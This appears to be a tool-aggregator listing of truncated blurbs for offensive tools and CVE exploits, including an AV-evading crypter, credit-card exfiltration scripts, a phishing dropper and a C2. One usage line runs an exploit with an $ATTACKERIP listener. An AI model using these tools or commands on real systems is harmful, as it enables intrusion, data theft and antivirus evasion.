Invoke-Transfer

Invoke-Transfer PowerShell Clipboard Data Transfer Invoke-Transfer is a PowerShell tool that helps you to send files in highly restricted environments such as Citrix, RDP, VNC or Guacamole. You can send files in text format, in small Base64 encoded chunks or in plaintext. Additionally, you can...

ZipExec

ZipExec ZipExec is a Proof-of-Concept POC tool to wrap binary-based tools into a password-protected zip file. This zip file is then base64 encoded into a string that is rebuilt on disk. This encoded string is then loaded into a JScript file that when executed, would rebuild the password-protected...

crypter

Crypter This Crypter is written in python 3, which can be used to obfusticate, encrypt the python source code to bypass AntiVirus. Also Capable to Bypass VM such as VirtualBox, VMware, Sandboxie. Uses AES-256 bit Encryption & Base64 Encoding to Encrypt the Source Code for Twice. 3 Powerfull Metho...

reverse-shell-generator

reverse-shell-generator Hosted Reverse Shell generator with a ton of functionality -- great for CTFs Hosted Instance https://revshells.com Features Generate common listeners and reverse shells Save button to download Payloads from browser. Raw mode to cURL shells to your machine. Button to...

UI_CVE-2017-9248

UICVE-2017-9248 CVE-2017-9248Telerik UI for ASP.NET AJAX dialog handler용 Base64 기반 암호화 오라클 익스플로잇...

br0w

br0w Hack The Br0w | Play your browser and learn more, hack fun !! The Br0w is a simple web to learn about and about web security with a browser as a tool that sometimes people forget about more benefits. Maybe it's more like Capture The Flag CTF. One of the challenges is, disable css and base64...

CVE-2019-13292-WebERP_4.15

WebERP용 블라인드 SQL 인젝션 익스플로잇 이것은 2019년 6월 10일 Semen Alexandrovich Lyhin이 처음 발견한 WebERP 4.15 버전의 블라인드 SQL 인젝션 취약점에 대한 익스플로잇을 시연하는 Python3 스크립트입니다. 원본 익스플로잇은 여기에서 찾을 수 있으며, WebERP 시스템에 대한 자세한 내용은 공식 WebERP 웹사이트에서 확인할 수 있습니다. 개요 이 취약점은 WebERP가 base64 인코딩으로 수신된 쿼리를 unserialize 함수에 전달하여 처리하는 방식에 있습니다. 특...

MetabaseRCE_CVE-2023-38646

Metabase Pre-Auth RCE CVE-2023-38646 Доказательство концепции Доказательство концепции уязвимости CVE-2023-38646, эксплойта Metabase, позволяющего пользователю выполнять удаленный код RCE с использованием токена настройки, найденного в /api/session/properties, для отправки полезной нагрузки,...

CVE-2021-3131

CVE-2021-3131 제안된 설명 1C:Enterprise 8 8.3.17.1851 이전 버전의 웹 서버는 base64로 인코딩된 자격 증명을 'creds' URL 매개변수로 전송합니다. 취약점 유형 기타 CWE-522 불충분하게 보호된 자격 증명 제품 공급업체 1C Company 영향받는 제품 코드 베이스 1C:Enterprise 8 - 테스트됨: 8.3.17.1851 영향받는 구성 요소 웹 서버 영향 정보 공개 true 공급업체가 취약점을 확인하거나 인정했습니까? true 발견자 Irina Belyaeva Jet...

dns-rebinding-tool

Inspired by @tavisio This project is meant to be an All-in-one Toolkit to test further DNS rebinding attacks and my take on understanding these kind of attacks. It consists of a web server and pseudo DNS server that only responds to A queries. The root index of the web server allowes to configure...

CVE-2019-15715

CVE-2019-15715 이 저장소는 CVE-2019-15715에 대한 Python3 구현이며, Nikolas Geiselman이 이전에 여기에서 보고한 CVE-2019-15715의 개선에 초점을 맞추고, Python의 매개변수 구현을 추가하여 스크립트를 더 유연하게 만드는 것을 목표로 합니다. root@kitploit: python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e...

CVE-2018-19518

CVE-2018-19518 최신 보고서: https://gitlab.com/ensimag-security/CVE-2018-19518/-/jobs/artifacts/master/raw/rapport.pdf?job=PDF 사용법 앱 실행 root@kitploit: docker-compose up -d 웹 앱의 일반 사용 예시. imap : webmail.grenoble-inp.org user : [email protected] password : xxx 익스플로잇 echo '1234567890'/tmp/test0001 사...

pyc2

pyc2 보안 개념을 시연하기 위해 python2로 작성된 간단한 c2command & control입니다. ICMP 에코 요청과 응답을 사용하여 base64로 인코딩된 명령과 응답을 주고받습니다. 일부 보안 개념과 구현 결정 사항을 설명하는 영상: https://www.youtube.com/watch?v=DHrEn7oK9vQ scapy 필요 pip install scapy 클라이언트 컴퓨터에서 c2config.py 파일에 C2 IP 주소를 입력하세요. commandlist.client id 는 한 줄에 하나씩, CLI에 입력...

CVE-2023-35840

CVE-2023-35840 elFinder 2.1.62 - Уязвимость Path Traversal в коннекторе PHP LocalVolumeDriver Описание Уязвимость Path Traversal в коннекторе PHP LocalVolumeDriver. Эта уязвимость может быть использована, позволяя недоверенным пользователям записывать данные в локальную файловую систему. Уязвимос...

PowerExfil

PowerExfil 레드팀 평가를 위한 맞춤형 데이터 유출 스크립트 모음 ExfilCards.ps1 - 이 스크립트는 신용카드 번호를 base64 인코딩 문자열로 변환하여 커스텀 DNS 서버로 유출합니다. ExfilDataStreamDNS.ps1 - 이 스크립트는 파일의 전체 내용을 base64 인코딩 문자열로 변환하여 커스텀 DNS 서버로 유출합니다. ExfilEmail.ps1 - 이 스크립트는 파일의 전체 내용 또는 주어진 명령어 출력을 base64 인코딩 문자열로 변환하여 이메일을 통해 커스텀 이메일 주소로 유출합니다...

some-tweak-to-hide-jwt-payload-values

some-tweak-to-hide-jwt-payload-values несколько доработок и идей для защиты полезной нагрузки JWT, делающих попытки декодирования бесполезными за счет постоянного изменения её значений, при этом декодированный вывод остается нечитаемым, а накладные расходы на производительность минимальны. Что...

Fudge

Fudge I had some success with on Phishing engagements by base64 encoding the contents of a file, putting it into a HTML file and having it decode and drop when the user opened the HTML file. Usage There are precompiled binaries available on the releases tab for both Windows 64-bit and Linux 64-bi...

CVE-2022-28986

CVE-2022-28986 LMS Doctor의 "Simple 2FA Plugin for Moodle"에서 발견된 안전하지 않은 직접 객체 참조IDOR 취약점 취약점 세부 정보 위험도 : 심각 공급업체: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle 공개자: Flaviu Popescu 설명: "LMS Doctor"의 Moodle용 Simple 2FA 플러그인에서 안전하지 않은 직접 객체 참조IDOR 취약점이 발견되었습니다. 원격 공격자가 다른 사용자 계정의 이메일...

dp_crypto

dpcrypto Base64 기반 암호화 오라클 익스플로잇, CVE-2017-9248 Telerik UI for ASP.NET AJAX 대화상자 핸들러 exploit-db에 게시됨 2020년 업데이트 - exploit-db의 버전은 현재 GitHub의 최신 버전에 비해 매우 오래되었음을 유의하십시오. https://www.exploit-db.com/exploits/43873/ 참고 항목 제 다른 Telerik UI 익스플로잇CVE-2017-11317 및 CVE-2017-11357도 관심이 있을 것입니다. 여기에서 확인할 수...

CVE-2026-89249

AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a stored cross-site scripting vulnerability in the YPTWallet plugin where user-supplied CryptoWallet values are base64-encoded but not HTML-escaped before storage in walletlog.information. Administrators viewing pending...